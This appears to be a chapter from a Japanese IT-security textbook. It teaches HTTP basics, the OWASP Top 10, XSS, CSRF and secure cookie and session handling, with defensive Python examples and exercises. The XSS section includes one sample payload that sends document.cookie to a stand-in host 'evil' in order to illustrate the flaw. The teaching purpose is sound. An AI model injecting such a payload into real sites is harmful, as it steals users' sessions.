第2部 セキュリティ編
第11章 Webセキュリティ入門
現代の攻撃の主戦場はWebです。HTTPの仕組みから始め、代表的なWeb脆弱性と、業界標準のOWASP Top 10を学びます。
🎯 この章で学ぶこと
- HTTPリクエスト/レスポンスの基本構造
- OWASP Top 10 の全体像
- XSS(クロスサイトスクリプティング)
- CSRF(クロスサイトリクエストフォージェリ)
- セッションとCookieの安全な扱い
11.1 HTTPの基本 — Webはリクエストとレスポンスの往復
ブラウザ(クライアント)とサーバーは、HTTPというルールで会話します。ブラウザがリクエストを送り、サーバーがレスポンスを返す、この繰り返しです。
# リクエストの例(ブラウザ → サーバー)
GET /mypage HTTP/1.1
Host: example.com
Cookie: session=abc123
User-Agent: Mozilla/5.0 ...
# レスポンスの例(サーバー → ブラウザ)
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=abc123; HttpOnly; Secure
<html>...</html>
覚えておきたい要素です。
- メソッド —
GET(取得)、POST(送信・作成)、PUT/DELETEなど - ステータスコード —
200成功、401未認証、403権限なし、404不在、500サーバーエラー - ヘッダ — 付帯情報(Cookie、Content-Typeなど)
- ボディ — 実際のデータ(HTML、JSONなど)
Pythonから確認してみましょう(第7章の requests)。
import requests
resp = requests.get("https://httpbin.org/get", timeout=10)
print(resp.status_code) # 200
print(resp.headers["Content-Type"]) # application/json
print(resp.request.headers["User-Agent"])
http:// の通信は暗号化されず、経路上で盗聴・改ざんが可能です。https:// はTLS(第12章)で暗号化されます。ログインや個人情報を扱うページが https:// でないのは、それ自体が重大な脆弱性です。
11.2 OWASP Top 10 — Web脆弱性の世界標準リスト
OWASP(オワスプ)は、Webセキュリティのオープンなコミュニティです。数年ごとに公開する「OWASP Top 10」は、最も重大なWebアプリのリスクをまとめた事実上の業界標準です。代表的な項目を紹介します。
| カテゴリ | 内容 | 本書の関連章 |
|---|---|---|
| アクセス制御の不備 | 認可の欠陥。他人のデータが見える・操作できる | 第9章(認可) |
| 暗号化の失敗 | 機密データの平文保存・弱い暗号 | 第12章 |
| インジェクション | SQLi・コマンドインジェクション・XSS | 第10章・本章 |
| 安全でない設計 | 設計段階での対策不足 | 第9章 |
| セキュリティ設定ミス | 初期パスワード放置、不要機能の有効化、詳細エラー表示 | 第6章・第10章 |
| 脆弱・古いコンポーネント | 既知の脆弱性が残るライブラリの使用 | 第7章 |
| 認証の不備 | 弱いパスワード運用、セッション管理の欠陥 | 本章・第12章 |
ここまで学んできた内容の多くが、そのままOWASP Top 10への対策になっていることに注目してください。
11.3 XSS — クロスサイトスクリプティング
ユーザーの入力をそのままHTMLに埋め込んで表示すると、入力に紛れ込んだ <script> がブラウザ上で実行されてしまう脆弱性です。攻撃者は他人のCookie(セッション)を盗んだり、偽の画面を表示したりできます。
# ❌ 脆弱な擬似コード:検索キーワードをそのまま埋め込む
def render_bad(keyword):
return f"<p>「{keyword}」の検索結果</p>"
# keyword に <script>location='http://evil/?c='+document.cookie</script>
# を入れられると、閲覧者のブラウザでそのスクリプトが動く
対策 — 出力時のエスケープ(サニタイズ)
HTMLとして意味を持つ文字(< > & " ')を、無害な文字実体参照に変換します。これをエスケープと呼びます。
import html
def render_good(keyword):
safe = html.escape(keyword) # < を < などに変換
return f"<p>「{safe}」の検索結果</p>"
print(render_good("<script>alert(1)</script>"))
# → <p>「<script>alert(1)</script>」の検索結果</p>
# スクリプトとしてではなく、ただの文字として表示される
XSS対策の要点は出力(表示)の瞬間に、その文脈に合わせてエスケープすることです。実務ではDjangoやFlask(Jinja2)などのテンプレートエンジンが自動でHTMLエスケープしてくれます。自動エスケープを無効化しないことが最大の防御です。さらに Content-Security-Policy ヘッダで多層防御を加えます。
11.4 セッションとCookie
HTTPは本来「一度きりの会話」で、前回のリクエストを覚えていません(ステートレス)。そこでセッションという仕組みでログイン状態を保ちます。
- ログイン成功時、サーバーが推測困難なセッションIDを発行
- ブラウザはそれをCookieに保存し、以降のリクエストに自動で添付
- サーバーはセッションIDを見て「この人はログイン済みのAさんだ」と判断
つまりセッションIDは、その人になりすませる合鍵です。盗まれれば、パスワードを知らなくてもログイン状態を乗っ取られます(セッションハイジャック)。Cookieには安全のための属性を必ず付けます。
| Cookie属性 | 効果 |
|---|---|
HttpOnly | JavaScriptからCookieを読めなくする(XSSでのセッション窃取を緩和) |
Secure | HTTPS通信でのみCookieを送る(平文での漏えいを防ぐ) |
SameSite | 他サイトからのリクエストにCookieを付けない(CSRF対策) |
連番や時刻ベースのIDは推測されます。セッションIDは暗号学的に安全な乱数で生成しなければなりません。第12章で学ぶ secrets モジュールがまさにこの用途です。フレームワークを使えば自動で安全に生成されます。
11.5 CSRF — クロスサイトリクエストフォージェリ
ログイン済みのユーザーを騙して、本人が意図しないリクエストを送らせる攻撃です。「罠サイトを踏んだだけで、ログイン中の別サイトで送金・設定変更されてしまう」という被害が起こります。
成立の理由は「ブラウザがCookieを自動で付けてしまう」性質にあります。攻撃者はあなたのCookieの中身を知らなくても、あなたのブラウザに正規サイト宛のリクエストを送らせられるのです。
対策
- CSRFトークン — フォームに推測不可能なワンタイムの値を埋め込み、送信時に照合する。正規の画面を経由しないリクエストを弾ける(最も基本的な対策)
SameSiteCookie属性 — 他サイト起点のリクエストにCookieを付けさせない- 重要操作の前に再認証(パスワード再入力)を求める
DjangoやFlaskにはCSRF対策機能が標準で用意されています。自作せず、フレームワークの機能を有効にして使うのが正解です。
XSSは「サイトにコードを注入して、閲覧者のブラウザで実行させる」攻撃。CSRFは「閲覧者のブラウザを踏み台に、正規サイトへ意図しない操作を送らせる」攻撃。似た名前でよく混同されますが、XSSはコードの実行、CSRFはリクエストの偽造、と押さえれば区別できます。なお、XSSが成立するとCSRF対策も回避され得るため、まずXSSを塞ぐことが土台になります。
11.6 IT部門としてWebを守る勘所
- すべての通信をHTTPS化し、
HTTP Strict Transport Security(HSTS)を設定する - フレームワークの標準セキュリティ機能(自動エスケープ、CSRF対策)を無効化しない
- ライブラリを最新に保つ(既知の脆弱性を放置しない/第7章)
- 詳細なエラー画面を本番で出さない(第6章)
- WAF(Web Application Firewall)やCSPヘッダで多層防御を加える
- 公開前に脆弱性診断を行う(自社で行う場合も必ず許可の範囲内で/第9章)
まとめ
- WebはHTTPのリクエスト/レスポンスの往復。HTTPSで暗号化する
- OWASP Top 10はWeb脆弱性の世界標準。学んだ内容の多くが対策になる
- XSSは出力時のエスケープで防ぐ。フレームワークの自動エスケープを活かす
- セッションIDは合鍵。Cookieに
HttpOnly/Secure/SameSiteを付ける - CSRFはトークンとSameSiteで防ぐ。自作せず標準機能を使う
練習問題
次のステータスコードはそれぞれ何を意味しますか。①401 ②403 ③500。また、①と②の違いを第9章の用語で説明してください。
解答を見る
① 401 Unauthorized=未認証(誰か確認できていない)。② 403 Forbidden=認証済みだが権限がない。③ 500 Internal Server Error=サーバー内部のエラー。
①と②の違いは認証と認可の違いです。401は「あなたが誰かわからない(認証の問題)」、403は「あなたが誰かはわかったが、その操作は許可されていない(認可の問題)」。
html.escape() を使って、ユーザー名を安全にHTMLへ埋め込む関数 safe_greeting(name) を書いてください。<b>admin</b> を渡してもタグとして解釈されないことを確認してください。
解答を見る
import html
def safe_greeting(name):
safe = html.escape(name)
return f"<p>ようこそ、{safe} さん</p>"
print(safe_greeting("<b>admin</b>"))
# <p>ようこそ、<b>admin</b> さん</p>
<b> が <b> に変換され、太字にならずそのまま文字として表示されます。
「ログイン機能を自作したところ、セッションIDに user_id + 現在時刻 を使っていた」。この設計の問題点と、正しい方針を述べてください。
解答を見る
問題点:セッションIDが推測可能です。user_idは列挙でき、時刻も範囲を絞れるため、攻撃者が他人のセッションIDを総当たりで生成し、なりすませてしまいます(セッションハイジャック)。
正しい方針:セッションIDは secrets.token_urlsafe() のような暗号学的に安全な乱数で生成する(第12章)。そもそもセッション管理は自作せず、実績あるフレームワークの機能に任せるのが最善です。加えてCookieに HttpOnly/Secure/SameSite を付けます。